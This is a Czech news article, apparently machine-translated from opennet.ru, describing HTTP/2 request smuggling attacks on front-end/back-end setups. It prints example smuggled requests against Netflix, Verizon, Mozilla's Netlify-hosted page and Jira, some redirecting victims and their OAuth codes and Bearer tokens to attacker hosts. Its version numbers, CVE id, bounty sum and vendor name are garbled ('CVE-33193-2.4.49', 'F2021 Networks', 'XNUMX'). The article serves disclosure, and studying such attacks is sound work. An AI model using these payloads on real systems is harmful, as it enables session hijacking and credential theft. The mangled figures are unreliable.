Nový útok na front-end-backend systémy, který vám umožní vklínit se do požadavků

Webové systémy, ve kterých frontend přijímá připojení přes HTTP/2 a přenáší do backendu přes HTTP/1.1, byly vystaveny nové variantě útoku HTTP Request Smuggling, který umožňuje zasíláním speciálně navržených požadavků klientů vklínit se do obsahu. požadavků od jiných uživatelů zpracovávaných ve stejném toku mezi frontendem a backendem. Útok lze použít k vložení škodlivého kódu JavaScript do relace s legitimním webem, obejití systémů řízení přístupu a zachycení autentizačních parametrů.

Problém se týká webových proxy serverů, load balancerů, webových akcelerátorů, systémů pro doručování obsahu a dalších konfigurací, ve kterých jsou požadavky přesměrovány podle front-end-backend schématu. Autor studie prokázal schopnost útočit na systémy na Netflix, Verizon, Bitbucket, Netlify CDN a Atlassian a získal 56 5 dolarů v programech odměňování zranitelností. Problém byl potvrzen také v produktech F2021 Networks. Problém se částečně týká mod_proxy na http serveru Apache (CVE-33193-2.4.49), oprava se očekává ve verzi 3 (vývojáři byli na problém upozorněni začátkem května a dostali 1.21.1 měsíce na opravu). V nginx byla v posledním vydání (XNUMX) zablokována možnost současně specifikovat hlavičky „Content-Length“ a „Transfer-Encoding“. Útočné nástroje již byly přidány do sady nástrojů Burp a jsou k dispozici jako rozšíření Turbo Intruder.

Princip fungování nové metody vklínění požadavků do provozu je podobný zranitelnosti identifikované stejným výzkumníkem před dvěma lety, ale je omezen na frontendy, které přijímají požadavky přes HTTP/1.1. Připomeňme, že ve schématu frontend-backend jsou požadavky klientů přijímány dalším uzlem – frontendem, který naváže dlouhodobé TCP spojení s backendem, který přímo zpracovává požadavky. Tímto společným spojením jsou obvykle přenášeny požadavky různých uživatelů, které následují po řetězci oddělené pomocí protokolu HTTP.

Klasický útok „HTTP Request Smuggling“ byl založen na skutečnosti, že frontendy a backendy interpretují použití HTTP hlaviček „Content-Length“ (určuje celkovou velikost dat v požadavku) a „Transfer-Encoding: chunked“ ( umožňuje přenos dat po částech) jinak . Pokud například frontend podporuje pouze „Content-Length“, ale ignoruje „Transfer-Encoding: chunked“, pak může útočník odeslat požadavek, který obě obsahuje hlavičky „Content-Length“ a „Transfer-Encoding: chunked“, ale velikost je "Obsah-Délka" neodpovídá velikosti trhaného řetězu. V tomto případě frontend zpracuje a přesměruje požadavek podle "Content-Length" a backend počká na dokončení bloku na základě "Transfer-Encoding: chunked" a zbývající část útočníkova požadavku bude na začátku zahraničního požadavku vysílaného další.

Na rozdíl od textového protokolu HTTP/1.1, který je analyzován na úrovni řádků, je HTTP/2 binární protokol a manipuluje s datovými bloky předem stanovené velikosti. HTTP/2 však používá pseudohlavičky, které odpovídají běžným HTTP hlavičkám. Při interakci s backendem přes HTTP/1.1 frontend překládá tyto pseudo-hlavičky na podobná HTTP/1.1 HTTP hlavička. Problém je v tom, že backend rozhoduje o analýze streamu na základě HTTP hlaviček nastavených frontendem, aniž by znal parametry původního požadavku.

Včetně pseudo-hlaviček lze přenášet hodnoty "content-length" a "transfer-encoding", přestože se nepoužívají v HTTP / 2, protože velikost všech dat je určena v samostatné pole. V procesu převodu požadavku HTTP/2 na HTTP/1.1 se však tyto hlavičky přenesou a mohou zmást backend. Existují dvě hlavní možnosti útoku: H2.TE a H2.CL, ve kterých je backend uveden v omyl nesprávným kódováním přenosu nebo hodnotou délky obsahu, která neodpovídá skutečné velikosti těla požadavku přijatého frontendem prostřednictvím Protokol HTTP/2.

Nový útok na front-end-backend systémy, který vám umožní vklínit se do požadavků

Jako příklad útoku H2.CL je při odesílání požadavku HTTP/2 do Netflixu chybně vytvořeno pseudozáhlaví délky obsahu. Tento požadavek má za následek přidání podobné HTTP hlavičky Content-Length při přístupu k backendu přes HTTP/1.1, ale protože velikost v Content-Length je menší než skutečná velikost, některá data na konci se zpracují jako začátek. další žádosti.

Například požadavek HTTP/2 :method POST :cesta /n :autorita www.netflix.com délka obsahu 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Odešle požadavek na backend: POST /n HTTP/1.1 Hostitel: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Protože Content-Length je nastavena na 4, backend přijme pouze „abcd“ jako tělo požadavku a zpracuje zbytek „GET /n HTTP/1.1…“ jako začátek dalšího požadavku vázaného na jiného uživatele. Podle toho bude proud nesynchronizovaný a jako odpověď na další požadavek bude vrácen výsledek zpracování falešného požadavku. V případě Netflixu mělo zadání hostitele třetí strany v hlavičce „Host:“ ve falešném požadavku za následek odpověď „Location: https://02.rs?x.netflix.com/n“ klientovi a umožnilo předání libovolného obsahu klientovi, včetně spuštění vašeho kódu JavaScript v kontextu webu Netflix.

Druhá varianta útoku (H2.TE) je spojena se záměnou hlavičky „Transfer-Encoding: chunked“. Použití pseudohlavičky přenosového kódování v HTTP/2 je zakázáno specifikací a požadavky s ní jsou předepsány jako nesprávné. Navzdory tomu některé implementace frontendu tento požadavek ignorují a umožňují použití pseudohlavičky pro přenos kódování v HTTP/2, která se převádí na podobnou HTTP hlavičku. Pokud je přítomna hlavička „Transfer-Encoding“, může ji backend vzít jako prioritu a analyzovat data po částech v režimu „chunked“ pomocí bloků různých velikostí ve formátu „{size}\r\n{block} \r\n{velikost} \r\n{blok}\r\n0" navzdory počátečnímu rozdělení podle celkové velikosti.

Přítomnost takové mezery byla demonstrována na příkladu Verizonu. Problém se ale týkal autentizačního portálu a redakčního systému, který využívají i stránky jako Huffington Post nebo Engadget. Například požadavek klienta přes HTTP/2: :method POST :cesta /identitfy/XUI :authority id.b2b.oath.com kódování přenosu rozděleno 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Způsobil požadavek HTTP/1.1 na backend: POST /identity/XUI HTTP/1.1 Hostitel: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content- Length : 10x=

Backend zase ignoroval hlavičku „Content-Length“ a provedl rozdělení ve streamu na základě „Transfer-Encoding: chunked“. V praxi útok umožnil přesměrovat požadavky uživatelů na váš web, včetně zachycení požadavků souvisejících s autentizací OAuth, jejichž parametry se objevily v hlavičce Referer, a také simulaci autentizační relace a zahájení odesílání přihlašovacích údajů uživatelem. systému na hostitele útočníka. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Autorizace: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI

Pro útok na implementace HTTP/2, které neumožňují specifikovat pseudo-hlavičku přenosového kódování, byla navržena další metoda, která zahrnuje nahrazení hlavičky "Transfer-Encoding" jejím připojením k jiným pseudohlavičkám odděleným znakem nového řádku (při převodu na HTTP/1.1 se v tomto případě vytvoří dvě samostatné HTTP hlavičky).

Tímto problémem byly ovlivněny například Atlassian Jira a Netlify CDN (používané k zobrazování úvodní stránky Mozilly ve Firefoxu). Konkrétně požadavek HTTP/2 :metoda POST :cesta / :autorita start.mozilla.org foo b\r\n kódování přenosu: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Obsah-Délka: 5\r\n \r\nx=

způsobilo odeslání požadavku HTTP/1.1 POST / HTTP/1.1 do backendu\r\n Hostitel: start.mozilla.org\r\n Foo: b\r\n Kódování přenosu: chunked\r\n Obsah- Délka: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Hostitel: evil-netlify-domain\r\n Obsah-Délka: 5\r\n \ r\nx=

Další možností pro nahrazení hlavičky "Transfer-Encoding" bylo její připojení ke jménu jiného pseudohlavičky nebo k řetězci s metodou request. Například při přístupu k Atlassian Jira vedl název pseudozáhlaví „foo: bar\r\ntransfer-encoding“ s hodnotou „chunked“ k přidání záhlaví HTTP „foo: bar“ a „transfer-encoding“. : chunked“ a specifikující v pseudozáhlaví „:method“ hodnoty „GET / HTTP/1.1\r\nTransfer-encoding: chunked“ bylo přeloženo do „GET / HTTP/1.1\r\ntransfer-encoding: chunked“ .

Výzkumník, který problém identifikoval, také navrhl techniku ​​tunelování požadavků pro útok na frontendy, ve které je vytvořeno samostatné připojení k backendu pro každou IP adresu a provoz různých uživatelů není smíchán. Navrhovaná technika vám neumožňuje zasahovat do požadavků jiných uživatelů, ale umožňuje otrávit sdílenou mezipaměť, která ovlivňuje zpracování dalších požadavků, a umožňuje provádět náhradu interních HTTP hlaviček používaných k přenosu informací o službách z frontend do backendu (např. při autentizaci na frontendové straně v takovýchto hlavičkách může odesílat informace o aktuálním uživateli do backendu). Jako příklad aplikace metody v praxi pomocí cache poisoningu bylo možné získat kontrolu nad stránkami ve službě Bitbucket.

Zdroj: opennet.ru

Přidat komentář